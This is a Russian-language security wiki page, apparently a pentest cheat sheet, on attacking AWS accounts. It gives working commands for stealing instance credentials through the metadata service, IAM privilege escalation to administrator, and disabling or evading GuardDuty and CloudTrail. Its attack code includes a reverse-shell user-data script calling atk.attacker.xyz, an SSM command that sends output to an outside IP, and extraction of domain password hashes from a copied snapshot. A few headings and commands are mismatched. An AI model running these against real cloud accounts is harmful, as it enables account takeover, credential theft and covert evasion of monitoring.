Aws — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Auto Scaling)
м (Роли - повышение привилегий)
Строка 982: Строка 982:
 
== Роли - повышение привилегий ==
 
== Роли - повышение привилегий ==
  
=== autoscaling:CreateLaunchConfiguration + autoscaling:CreateAutoScalingGroup + ec2:DescribeSubnets ===
+
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===
  
 
Позволяет создать и запустить конфигурацию масштабирования.  
 
Позволяет создать и запустить конфигурацию масштабирования.  

Версия 09:39, 19 июля 2022

AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.

Содержание

Организационные моменты

При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).

Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/

Общие концепции

Службы

Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.


Это экосистема многих сервисов. И AWS стремится увеличить их количество.

Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.


Регионы

AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.

Регионы AWS
Название региона Endpoint(HTTPS)
us-east-2 rds.us-east-2.amazonaws.com

rds-fips.us-east-2.api.aws

rds.us-east-2.api.aws

rds-fips.us-east-2.amazonaws.com

us-east-1 rds.us-east-1.amazonaws.com

rds-fips.us-east-1.api.aws

rds-fips.us-east-1.amazonaws.com

rds.us-east-1.api.aws

us-west-1 rds.us-west-1.amazonaws.com

rds.us-west-1.api.aws

rds-fips.us-west-1.amazonaws.com

rds-fips.us-west-1.api.aws

us-west-2 rds.us-west-2.amazonaws.com

rds-fips.us-west-2.amazonaws.com

rds.us-west-2.api.aws

rds-fips.us-west-2.api.aws

af-south-1 rds.af-south-1.amazonaws.com

rds.af-south-1.api.aws

ap-east-1 rds.ap-east-1.amazonaws.com

rds.ap-east-1.api.aws

ap-southeast-3 rds.ap-southeast-3.amazonaws.com
ap-south-1 rds.ap-south-1.amazonaws.com

rds.ap-south-1.api.aws

ap-northeast-3 rds.ap-northeast-3.amazonaws.com

rds.ap-northeast-3.api.aws

ap-northeast-2 rds.ap-northeast-2.amazonaws.com

rds.ap-northeast-2.api.aws

ap-southeast-1 rds.ap-southeast-1.amazonaws.com

rds.ap-southeast-1.api.aws

ap-southeast-2 rds.ap-southeast-2.amazonaws.com

rds.ap-southeast-2.api.aws

ap-northeast-1 rds.ap-northeast-1.amazonaws.com

rds.ap-northeast-1.api.aws

ca-central-1 rds.ca-central-1.amazonaws.com

rds.ca-central-1.api.aws

rds-fips.ca-central-1.api.aws

rds-fips.ca-central-1.amazonaws.com

eu-central-1 rds.eu-central-1.amazonaws.com

rds.eu-central-1.api.aws

eu-west-1 rds.eu-west-1.amazonaws.com

rds.eu-west-1.api.aws

eu-west-2 rds.eu-west-2.amazonaws.com

rds.eu-west-2.api.aws

eu-south-1 rds.eu-south-1.amazonaws.com

rds.eu-south-1.api.aws

eu-west-3 rds.eu-west-3.amazonaws.com

rds.eu-west-3.api.aws

eu-north-1 rds.eu-north-1.amazonaws.com

rds.eu-north-1.api.aws

me-south-1 rds.me-south-1.amazonaws.com

rds.me-south-1.api.aws

sa-east-1 rds.sa-east-1.amazonaws.com

rds.sa-east-1.api.aws

us-gov-east-1 rds.us-gov-east-1.amazonaws.com
us-gov-west-1 rds.us-gov-west-1.amazonaws.com

Или только регионы (могут пригодиться при переборе):

us-east-2
us-east-1
us-west-1
us-west-2
af-south-1
ap-east-1
ap-southeast-3
ap-south-1
ap-northeast-3
ap-northeast-2
ap-southeast-1
ap-southeast-2
ap-northeast-1
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-south-1
eu-west-3
eu-north-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1

Доступы

Консольная утилита(awscli)

Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.

Утилита работает с настроенными профилями.

Файлы

~/.aws/credentials

Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.

У каждого профиля будет указан:

  • Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..."
  • Access Key - 40 случайных символов различного регистра.
  • Access Token - не всегда указывается

Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings

Пример содержимого файла (сохранен профиль default):

[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk

~/.aws/config

Файл с региональными настройками профиля(регион по-умолчанию).

[default]
region=us-west-2
output=json

~/.aws/cli/cache

Закешированные учетные данные

~/.aws/sso/cache

Закешированные данные Single-Sign-On

Команды

Общее построение команды выглядит как:

aws <название_сервиса> <действие> <дополнительные_аргументы>

Примеры:

# Вывести все S3-хранилища.
aws s3 ls

# Создание нового пользователя - сервис IAM
aws iam create-user --user-name aws-admin2

IMDS (Instance Metadata Service)

Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.

Есть 2 версии:

  • IMDSv1 - версия 1 по-умолчанию, не требует токен.
  • IMDSv2 - версия 2, для запросов требуется токен.

Запрос без токена:

curl http://169.254.169.254/latest/meta-data/

Запрос с токеном:

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/

Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):

# В начале делаем запрос на директорию /security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Потом выбираем нужный аккаунт и делаем запрос на него
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account

Пример ответа:

{ 
    "Code" : "Success", 
    "LastUpdated" : "2019-12-03T07:15:34Z", 
    "Type" : "AWS-HMAC", 
    "AccessKeyId" : "xxxxxxxxxxxxxxxxxxx", 
    "SecretAccessKey" : "xxxxxxxxxxxxxxxxxxxxx", 
    "Token" : "xxxxxxxxxxxxxxxxxxxxx", 
    "Expiration" : "2019-12-03T13:50:22Z"
}

После чего эти учетные данные можно использовать с awscli.


Другие полезные Endpoint'ы:

http://169.254.169.254/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document

Ролевая модель

Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:

  • trust policy - определяет, чья будет роль
  • permissions policy - определяет какой доступ будет у тех, у кого эта роль.



Каждая политика состоит из следующих компонентов:

  • Ресурс - цель, кому выдается правило. Может быть:
    • Пользователь
    • Группа, в которой могут быть аккаунты по какому то признаку
    • Другая политика.
  • Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)
  • Тип правила(Effect) - разрешение или запрет.
  • Политика(Policy) - совокупность Роль(действие) -> разрешение/запрет -> Ресурс(кому).
  • Условия(Condition) - отдельные условия, например, ip.

Пример политики:

{
    "Version": "2012-10-17",  //Версия политики
    "Statement": [  
        {
            "Sid": "Stmt32894y234276923" //Опционально - уникальный идентификатор
            "Effect": "Allow", //Разрешить или запретить
            "Action": [  //Разрешенные/Запрещенные действия
                "ec2:AttachVolume",
                "ec2:DetachVolume"
            ], 
            "Resource": [ //На какие ресурсы можно/нельзя совершать действия
                "arn:aws:ec2:*:*:volume/*",
                "arn:aws:ec2:*:*:instance/*"
            ],
            "Condition": { //Опционально - условия срабатывания
                "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
            }
        }
    ]
}

Определение ролей

Вручную

TODO команды по определению своих ролей

Автоматизированно

Эксплуатация

Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.


Тут будут отдельные роли, которые не прикреплены ни к одному сервису.

Административный доступ

Как выглядит роль с административным доступом:

"Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "*"
      ],
      "Resource": "*"
    }
]

Службы

IAM

Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.


Роли - повышение привилегий

iam:UpdateLoginProfile

Сбросить пароль у других пользователей:

aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:PassRole + ec2:RunInstance

См. EC2

iam:PassRole + glue:CreateDevEndpoint

См. Glue

Роли - повышение до админа

iam:AddUserToGroup

Добавить юзера в административную группу:

aws iam add-user-to-group --group-name <название_группы> --user-name <логин>

iam:PutUserPolicy

Право добавить своб политику к ранее скомпрометированным обьектам.

aws iam put-user-policy --user-name <логин> --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json

iam:CreateLoginProfile

Привилегия для создания профиля(с паролем) для аккаунта, выставить новый пароль и перейти под этого пользователя.

aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' --no-password-reset-required

iam:UpdateLoginProfile

Добавить существующую политику к любому пользователю.

aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess


iam:AttachGroupPolicy

Добавить существующую политику к любой группе.

aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:AttachRolePolicy

Добавить существующую политику к любой роли.

aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:CreatePolicy

Создать административную политику.

iam:AddUserToGroup

Добавить пользователя в группу администраторов:

aws iam add-user-to-group --group-name target_group --user-name my_username

iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion

Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.

Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.

# Создание политики
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default
# Установка политики по умолчанию.
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2

iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile

См. EC2

GuardDuty

Сервис для детектирования атак используя машинное обучение.

Для детекта использует следующие сервисы:

  • CloudTrail
  • VPC Flow Logs
  • DNS Logs
  • ...to be continued

Обход защиты

Далее идут правила детекта и то, как их можно обойти.

UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration

Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).

Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).

Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы. Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.

Может быть для этого выгодно держать проксирующий сервер EC2.

UserAgent rules

Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. Варианты:

  • Использовать утилиту pacu (уже есть смена User-Agent)
  • Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.

Роли - Управление

Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html

guardduty:UpdateDetector

Позволяет выключить GuardDuty (ну или редатировать правила):

aws guardduty update-detector --detector-id <id of detector> --no-enable

guardduty:DeleteDetector

Удалить правило детектирования:

aws guardduty delete-detector --detector-id <id of detector>

STS (Security Token Service)

Сервис, позволяющий запросить временные учетные данные с ограниченными примилегиями для IAM-пользователей

KMS (Key Management Service)

Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.

Администраторы амазона не смогут получить к ним доступ.


Ключи со временем обновляются:

  • Customers keys - раз в 365 дней
  • AWS keys - раз в 3 года.


Старые ключи также можно будет использовать для расшифровки.

CloudHSM (Hardware Security Module)

Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению.

Пишут, что устройство будет закреплено только за вами.

Также можно получить доступ к CloudHSM-Instance по SSH.

Athena

Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.

Умеет работать с шифрованными S3 и сохранять шифрованный вывод.

EBS (Elastic Block Store)

Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).

Роли - управление сервисом

ec2:CreateVolume + ec2:AttachVolume

Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.

# Создание Volume из snapshot'а (если требуется подключить snapshot)
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
# Подключение Volume к виртуалке EC2

Далее идем на виртуалку и вводим команды:

# Поиск Volume
lsblk
# Проверка есть ли на нем данные
sudo file -s /dev/xvdf
# форматировать образ под ext4 (если неподходящая файловая система)
sudo mkfs -t ext4 /dev/xvdf
# Создаем директорию куда примонтируем позже
sudo mkdir /tmp/newvolume
# Монтируем
sudo mount /dev/xvdf /tmp/newvolume/

Диск будет доступен на /tmp/newvolume.


Lambda

Сервис для запуска своего кода в облаке.

Роли - повышение привилегий

lambda:UpdateFunctionCode

Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:

aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip

lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole

Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.

Код функции:

import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
    UserName='my_username',
    PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response

Команды для запуска:

# Создание функции
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py
# Запуск
aws lambda invoke --function-name my_function output.txt

Роли - управление

lambda:GetFunction

Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.

Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):

# Получить список функций
aws lambda list-functions --profile uploadcreds
# Получить информацию о Lambda-функции
aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
# Скачать исходный код по ссылке из предыдущего ответа
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds

Glue

Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.

Роли - повышение привилегий

glue:UpdateDevEndpoint

Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:

# TODO: это не обновление параметров, надо обновить команду
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub

glue:CreateDevEndpoint + iam:PassRole

Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:

aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub

S3

Файловое хранилище, доступное по http(s).

Формат ссылки:

https://{bucket_name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket_name}/

# US Standard
http://s3.amazonaws.com
# Ireland
http://s3-eu-west-1.amazonaws.com
# Northern California
http://s3-us-west-1.amazonaws.com
# Singapore
http://s3-ap-southeast-1.amazonaws.com
# Tokyo
http://s3-ap-northeast-1.amazonaws.com

Делать запросы можно:

  • В браузере - http(s)
  • Используя awscli:
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]


В S3 может использоваться шифрование:

  • SSE-KMS - Server-Side с ключами KMS
  • SSE-C - Server-Side с ключами заказчика
  • CSE-KMS - Client-Side с ключами KMS
  • CSE-C - Client-Side с ключами заказчика

Сбор информации

Определение региона

$ dig flaws.cloud
;; ANSWER SECTION:
flaws.cloud.    5    IN    A    52.218.192.11

$ nslookup 52.218.192.11
Non-authoritative answer:
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com

# Итоговый URL будет:
flaws.cloud.s3-website-us-west-2.amazonaws.com
flaws.cloud.s3-us-west-2.amazonaws.com

Если будет некорректный регион - редиректнет на корректный.


Список файлов

На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.

Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).


Роли - управление

s3:ListBucket

Посмотреть список файлов в S3-хранилище:

aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]

s3:ListAllMyBuckets

Посмотреть список всех S3-хранилищ, доступных мне:

aws s3api list-buckets
aws s3 ls

CloudFront

Сервис сети доставки контента (CDN).


Формат ссылки:

https://{random_id}.cloudfront.net

EC2 (Elastic Compute Cloud)

EC2 (Amazon Elastic Compute Cloud) == VPS


Состоит из:

  • Instance - название виртуальной машины
  • AMI (Amazon Machine Image) - образ виртуальной машины
  • SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.


Формат ссылки:

ec2-{ip-seperated}.compute-1.amazonaws.com

SSM Agent

Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.

Его тоже можно выбрать целью атаки

MITM

Есть возможность вклиниваться в общение от SSM-Агента локально.

PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception

Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/


Роли - повышение привилегий

ec2:RunInstance + iam:PassRole

Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.

1. Запуск машины c новой прикрепленной ролью

2. Подключение к ней

3. Работа с прикрепленной ролью

Создание EC2 с известным SSH-ключем:

aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456

Второй вариант - скрипт для запуска:

aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh

Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.


Роли - повышение до админа

ec2:AssociateIamInstanceProfile

Позволяет менять IAM политики/роли/пользователей

ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole

Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.

Роли - управление

ec2:CreateVolume + ec2:AttachVolume

См. EBS.

ec2:DescribeSnapshots

Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:

aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2

ec2:CreateVolume

Прзврояет примаунтить SnapShot, чтобы потом его изучить:

aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

ec2:* (Копирование EC2)

Позволяет скопировать EC2 используя AMI-images:

# Создаем новый AMI из Instance-ID
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1  

# Добавляем наш ключ в систему
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  

# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) 
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# Проверяем запустился ли инстанс
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 

# Не обязательно - редактируем группу инстанса
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# В конце работы - останавливаем и удаляем инстанс
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

ec2-instance-connect:SendSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"

# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Добавить SSH-ключ к EC2-инстансу. Ключ будет существовать 60 секунд.

В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.


# Получаем информацию об инстансе, который будем атаковать.
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"

# Добавляем ключ к EC2-инстансу.
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1

# Подключаемся (кроме GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws
# Подключаемся (только для GovCloud US региона)
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com

# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)
sudo systemctl restart serial-getty@ttyS0
# Если не сработало - мб требуется ребутать сервер.


Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html

ssm:SendCommand

Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:

  • Знать Instance-ID, на котором запущен сервис SSM
  • Свой сервер, на который будет приходить отстук - результат команды.

Команды для эксплуатации:

# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  
# Выполняем команду
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds

# Пример - результат команды на удаленный сервер
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1

EC2:CreateSnapshot + Active Directory

См. AD.


Auto Scaling (autoscaling)

Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.

Для работы сервиса требуется:

1. Конфигурация запуска EC2.

2. Конфигурация масштабирования.


Роли - повышение привилегий

autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole

Позволяет создать и запустить конфигурацию масштабирования.

Создаем конфигурацию запуска EC2

Для создания требуется:

1. Image-id

2. iam-instance-profile


Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:

aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options "HttpEndpoint=enabled,HttpTokens=optional" --associate-public-ip-address --user-data=file://reverse-shell.sh

Пример содержимого reverse-shell.sh:

#!/bin/bash
/bin/bash -l > /dev/tcp/atk.attacker.xyz/443 0<&1 2>&1

Создаем и запускаем группу масштабируемости

Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).

aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier "subnet-aaaabbb"


Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b

AD (Directory Service)

Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.

Основные понятия:

  • EC2-Instance - VPS на которых крутится весь Active Directory


Роли - повышение привилегий

EC2:CreateSnapshot + EC2:RunInstance -> ShadowCopy

Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.


Последовательность атаки:

1. Получаем список инстансов

2. Создаем Snapshot выбранного сервера

3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего.

aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012

4. Переключаемся на аккаунт атакующего

5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot

6. Подключаемся по SSH и получаем данные из SnapShot

sudo -s
mkdir /tmp/windows
mount /dev/xvdf1 /tmp/windows/
cd  /tmp/windows/

7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:

cp /windows/Windows/NTDS/ntds.dit /home/ec2-user
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user
chown ec2-user:ec2-user /home/ec2-user/*
# Sftp - скачиваем файлы:
/home/ec2-user/SYSTEM
/home/ec2-user/ntds.dit
# Получаем учетные данные, используя Impacket-secretsdump
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets

CloudTrail

Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.

Записывает:

  • API-вызовы
  • Логины в систему
  • События сервисов
  •  ???


Важен при операциях RedTeam.


Название файла логов:

AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat

S3 путь до логов:

BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD

Путь у CloudTrail-Digest файлов:

s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz

Основные поля у событий:

  • eventName - имя API-endpoint
  • eventSource - вызванный сервис
  • eventTime - время события
  • SourceIPAddress - ip-адрес источника
  • userAgent - метод запроса
    • "signing.amazonaws.com" - запрос от AWS Management Console
    • "console.amazonaws.com" - запрос от root-пользователя аккаунта
    • "lambda.amazonaws.com" - запрос от AWS Lambda
  • requestParameters - параметры запроса
  • responseElements - элементы ответа.


Временные параметры:

  • 5 минут - сохраняется новый лог-файл
  • 15 минут - сохраняется в S3.


Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись. Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.

Роли - управление

cloudtrail:DeleteTrail

Позволяет отключить мониторинг:

aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator

cloudtrail:UpdateTrail

Права на редактирование правил монитринга.


Отключить мониторинг глобальных сервисов:

aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event


Отключить мониторинг на конкретные регионы:

aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west

validate-logs

Проверить, были ли изменены логи.

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]


Эксплуатация

Обход правила по UserAgent

На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.

Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.

DynamoDB

Cистема управления базами данных класса NoSQL в формате «ключ — значение».

Роли - управление

dynamodb:ListTables

Позволяет посмотреть спрсок таблиц базы данных.

aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        

{
    "TableNames": [
        "users"
    ]
}

dynamodb:Scan

